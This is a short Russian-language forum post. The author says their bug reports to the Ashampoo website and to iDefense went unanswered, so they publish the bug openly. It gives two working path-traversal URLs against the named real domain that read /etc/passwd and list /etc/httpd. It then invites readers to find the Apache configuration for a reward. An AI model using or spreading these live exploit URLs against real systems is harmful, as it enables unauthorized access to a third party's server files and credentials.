Писал на мылья сабжевого сайта - реакции 0. Через сайтовую систему тоже посылал - аналогично В iDefense послали - говорят не занимаемся багами частных сайтов (я просил передать ашампуистам о баге). Собсна решил выложить тут: http://www.ashampoo.com/frontend/anysite/php/anysite.php?file=../../../../../../../../../../../../etc/passwd
http://www.ashampoo.com/frontend/anysite/php/anysite.php?file=../../../../../../../../../../../../etc/httpd Есть такая дира. Кто найдет конфиг апача - тому плюсик.